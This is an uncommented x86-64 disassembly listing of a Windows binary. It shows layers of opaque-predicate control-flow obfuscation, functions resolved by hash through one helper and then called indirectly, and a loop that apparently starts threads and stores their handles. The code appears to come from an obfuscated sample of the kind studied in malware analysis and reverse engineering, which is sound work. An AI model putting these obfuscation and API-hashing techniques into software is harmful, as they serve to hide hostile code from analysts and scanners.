mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
jne 0x140053b40
mov eax, dword [0x14008cd88]
add eax, 0xfffffff6
cmp eax, 1
ja 0x140054a11
mov edx, 0xf
mov qword [0x140090cb0], r15
lea rax, [0x140090cb0]
mov qword [0x140090c78], r14
xor ecx, ecx
mov qword [0x140090cb8], rax
mov r8d, 0xddde40d3
mov dword [0x140090c80], r15d
lea r9d, [rdx + 0x3a]
call fcn.140018170
lea rcx, [0x140090c88]
call rax
lea rbx, [r14*8]
mov rcx, rbx
call fcn.140063af4
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.14005d8f0
mov qword [0x140090c70], rdi
test rdi, rdi
je 0x140056e3d
mov dword [rsp + 0x30], 0x7bf480
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140053c75
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140053c45
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x1400542d1
nop dword [rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140053c6c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140053c50
jmp 0x1400542d1
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140053cd8
mov ecx, 2
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400542d1
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140053cb0
jmp 0x1400542d1
mov ecx, dword [rsp + 0x30]
and eax, 0x80000003
je 0x140053d54
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140053d02
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x1400542d1
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140053d33
dec eax
jmp 0x140053d35
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140053d4b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140053d10
jmp 0x1400542d1
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140053de7
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400542d1
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140053dc3
inc eax
jmp 0x140053dc5
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140053da0
jmp 0x1400542d1
mov ecx, dword [rsp + 0x30]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
cmp ecx, eax
je 0x140053e40
mov eax, dword [rsp + 0x30]
mov ecx, esi
or ecx, 1
xor ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x1400542d1
mov ecx, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
add ecx, ecx
or ecx, 3
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140053e20
jmp 0x1400542d1
mov ecx, dword [rsp + 0x30]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb
cmp ecx, eax
je 0x140053eef
movd xmm0, dword [rsp + 0x30]
mov eax, 0x55555556
imul esi
cvtdq2ps xmm0, xmm0
mov eax, edx
shr eax, 0x1f
add edx, eax
mulss xmm0, xmm7
mov eax, 0x2aaaaaab
cvttss2si ecx, xmm0
sub edx, ecx
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
je 0x1400542d1
nop word [rax + rax]
movd xmm0, dword [rsp + 0x30]
mov ecx, 7
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
cvttss2si eax, xmm0
sub ecx, eax
mov eax, 0x2aaaaaab
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
jne 0x140053eb0
jmp 0x1400542d1
mov ecx, dword [rsp + 0x30]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140053f57
mov edx, dword [rsp + 0x30]
imul ecx, esi
or edx, 3
mov eax, ecx
and eax, 7
xor edx, eax
lea eax, [rdx*4]
xor eax, ecx
mov ecx, 0xffffffff
mov dword [rsp + 0x30], eax
lea r8d, [rcx + 6]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
add eax, ecx
add ecx, edx
mov dword [rsp + 0x30], eax
sub r8, 1
jne 0x140053f40
jmp 0x1400542d1
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1d
cmp ecx, eax
je 0x140053fb9
mov eax, 0x92492493
mov ecx, esi
imul esi
add edx, esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
mov eax, dword [rsp + 0x30]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov ecx, r15d
nop dword [rax]
mov eax, dword [rsp + 0x30]
add eax, eax
xor eax, ecx
add ecx, 0x1d
mov dword [rsp + 0x30], eax
cmp ecx, 0x57
jl 0x140053fa0
jmp 0x1400542d1
mov ecx, dword [rsp + 0x30]
mov eax, 0x84210843
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x14005400d
mov eax, dword [rsp + 0x30]
not eax
add eax, 0x1f
add eax, esi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140053ffc
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x1400542d1
mov dword [rsp + 0x30], ecx
jmp 0x1400542d1
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x25
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x14005406f
mov eax, dword [rsp + 0x30]
add ecx, 0x25
add eax, 0x25
add ecx, esi
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jge 0x1400542d1
nop dword [rax]
mov eax, dword [rsp + 0x30]
lea eax, [rax*2 - 0x25]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jl 0x140054050
jmp 0x1400542d1
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x1400540f3
mov eax, 0x63e7063f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
sub ecx, eax
mov eax, dword [rsp + 0x30]
add ecx, eax
mov eax, 0x63e7063f
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x1400540d5
mov eax, dword [rsp + 0x30]
imul edx, eax, 0x29
mov dword [rsp + 0x30], edx
jmp 0x1400542d1
mov ecx, dword [rsp + 0x30]
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x30], edx
jmp 0x1400542d1
mov ecx, dword [rsp + 0x30]
mov eax, 0x2fa0be83
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2b
cmp ecx, eax
je 0x140054166
mov eax, dword [rsp + 0x30]
mov ecx, esi
add eax, 0x2b
mov dword [rsp + 0x30], eax
mov eax, 0x66666667
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
mov eax, dword [rsp + 0x30]
inc ecx
cdq
idiv ecx
test edx, edx
je 0x1400542d1
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
mov eax, dword [rsp + 0x30]
imul edx, ecx
add eax, edx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
test edx, edx
jne 0x140054142
jmp 0x1400542d1
mov ecx, dword [rsp + 0x30]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
cmp ecx, eax
je 0x1400541db
mov eax, dword [rsp + 0x30]
mov ecx, esi
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
sub ecx, eax
mov eax, dword [rsp + 0x30]
inc ecx
cdq
idiv ecx
test edx, edx
je 0x1400542d1
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
sub eax, 0x35
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
test edx, edx
jne 0x1400541c0
jmp 0x1400542d1
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
cmp ecx, eax
je 0x1400542d1
mov ecx, dword [rsp + 0x30]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14005423b
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
inc ecx
jmp 0x140054261
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
not r8d
add ecx, r8d
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
je 0x1400542d1
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
add ecx, ecx
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
sub ecx, eax
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
jne 0x140054290
mov rbx, r15
mov dword [0x140090c80], 1
cmp qword [0x140090c78], rbx
jbe 0x14005433b
nop word [rax + rax]
mov edx, 0xf
xor ecx, ecx
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.140018170
lea r9, [0x140090c70]
mov qword [rsp + 0x28], r15
lea r8, [0x140059ce0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x140090c70]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x140090c78]
jb 0x1400542f0
mov dword [rsp + 0x30], 0x7bf480
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400543b5
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14005437b
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140054a11
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x1400543ac
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140054390
jmp 0x140054a11
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140054418
mov ecx, 2
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140054a11
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400543f0
jmp 0x140054a11
mov ecx, dword [rsp + 0x30]
and eax, 0x80000003
je 0x140054494
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140054442
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140054a11
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140054473
dec eax
jmp 0x140054475
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14005448b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140054450
jmp 0x140054a11
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140054527
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140054a11
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140054503
inc eax
jmp 0x140054505
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400544e0
jmp 0x140054a11
mov ecx, dword [rsp + 0x30]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
cmp ecx, eax
je 0x140054580
mov eax, dword [rsp + 0x30]
mov ecx, esi
or ecx, 1
xor ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140054a11
mov ecx, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
add ecx, ecx
or ecx, 3
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140054560
jmp 0x140054a11
mov ecx, dword [rsp + 0x30]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb
cmp ecx, eax
je 0x14005462f
movd xmm0, dword [rsp + 0x30]
mov eax, 0x55555556
imul esi
cvtdq2ps xmm0, xmm0
mov eax, edx
shr eax, 0x1f
add edx, eax
mulss xmm0, xmm7
mov eax, 0x2aaaaaab
cvttss2si ecx, xmm0
sub edx, ecx
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
je 0x140054a11
nop word [rax + rax]
movd xmm0, dword [rsp + 0x30]
mov ecx, 7
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
cvttss2si eax, xmm0
sub ecx, eax
mov eax, 0x2aaaaaab
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
jne 0x1400545f0
jmp 0x140054a11
mov ecx, dword [rsp + 0x30]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140054697
mov edx, dword [rsp + 0x30]
imul ecx, esi
or edx, 3
mov eax, ecx
and eax, 7
xor edx, eax
lea eax, [rdx*4]
xor eax, ecx
mov ecx, 0xffffffff
mov dword [rsp + 0x30], eax
lea r8d, [rcx + 6]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
add eax, ecx
add ecx, edx
mov dword [rsp + 0x30], eax
sub r8, 1
jne 0x140054680
jmp 0x140054a11
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1d
cmp ecx, eax
je 0x1400546f9
mov eax, 0x92492493
mov ecx, esi
imul esi
add edx, esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
mov eax, dword [rsp + 0x30]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov ecx, r15d
nop dword [rax]
mov eax, dword [rsp + 0x30]
add eax, eax
xor eax, ecx
add ecx, 0x1d
mov dword [rsp + 0x30], eax
cmp ecx, 0x57
jl 0x1400546e0
jmp 0x140054a11
mov ecx, dword [rsp + 0x30]
mov eax, 0x84210843
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x14005474d
mov eax, dword [rsp + 0x30]
not eax
add eax, 0x1f
add eax, esi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14005473c
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140054a11
mov dword [rsp + 0x30], ecx
jmp 0x140054a11
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x25
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x1400547af
mov eax, dword [rsp + 0x30]
add ecx, 0x25
add eax, 0x25
add ecx, esi
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jge 0x140054a11
nop dword [rax]
mov eax, dword [rsp + 0x30]
lea eax, [rax*2 - 0x25]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jl 0x140054790
jmp 0x140054a11
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x140054833
mov eax, 0x63e7063f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
sub ecx, eax
mov eax, dword [rsp + 0x30]
add ecx, eax
mov eax, 0x63e7063f
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x140054815
mov eax, dword [rsp + 0x30]
imul edx, eax, 0x29
mov dword [rsp + 0x30], edx
jmp 0x140054a11
mov ecx, dword [rsp + 0x30]
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x30], edx
jmp 0x140054a11
mov ecx, dword [rsp + 0x30]
mov eax, 0x2fa0be83
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2b
cmp ecx, eax
je 0x1400548a6
mov eax, dword [rsp + 0x30]
mov ecx, esi
add eax, 0x2b
mov dword [rsp + 0x30], eax
mov eax, 0x66666667
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
mov eax, dword [rsp + 0x30]
inc ecx
cdq
idiv ecx
test edx, edx
je 0x140054a11
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
mov eax, dword [rsp + 0x30]
imul edx, ecx
add eax, edx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
test edx, edx
jne 0x140054882
jmp 0x140054a11
mov ecx, dword [rsp + 0x30]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
cmp ecx, eax
je 0x14005491b
mov eax, dword [rsp + 0x30]
mov ecx, esi
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
sub ecx, eax
mov eax, dword [rsp + 0x30]
inc ecx
cdq
idiv ecx
test edx, edx
je 0x140054a11
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
sub eax, 0x35
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
test edx, edx
jne 0x140054900
jmp 0x140054a11
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
cmp ecx, eax
je 0x140054a11
mov ecx, dword [rsp + 0x30]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14005497b
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
inc ecx
jmp 0x1400549a1
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
not r8d
add ecx, r8d
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
je 0x140054a11
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
add ecx, ecx
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
sub ecx, eax
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
jne 0x1400549d0
mov eax, dword [0x14008cd88]
add eax, 0xfffffff6
test eax, 0xfffffffd
jne 0x1400558a1
mov edx, 0xf
mov qword [0x140090c60], r15
lea rax, [0x140090c60]
mov qword [0x140090c28], r14
xor ecx, ecx
mov qword [0x140090c68], rax
mov r8d, 0xddde40d3
mov dword [0x140090c30], r15d
lea r9d, [rdx + 0x3a]
call fcn.140018170
lea rcx, [0x140090c38]
call rax
lea rbx, [r14*8]
mov rcx, rbx
call fcn.140063af4
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.14005d8f0
mov qword [0x140090c20], rdi
test rdi, rdi
je 0x140056e3d
mov dword [rsp + 0x30], 0x7bf480
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140054b05
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140054ad7
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140055161
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140054afc
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140054ae0
jmp 0x140055161
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140054b68
mov ecx, 2
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140055161
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140054b40
jmp 0x140055161
mov ecx, dword [rsp + 0x30]
and eax, 0x80000003
je 0x140054be4
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140054b92
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140055161
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140054bc3
dec eax
jmp 0x140054bc5
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140054bdb
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140054ba0
jmp 0x140055161
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140054c77
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140055161
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140054c53
inc eax
jmp 0x140054c55
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
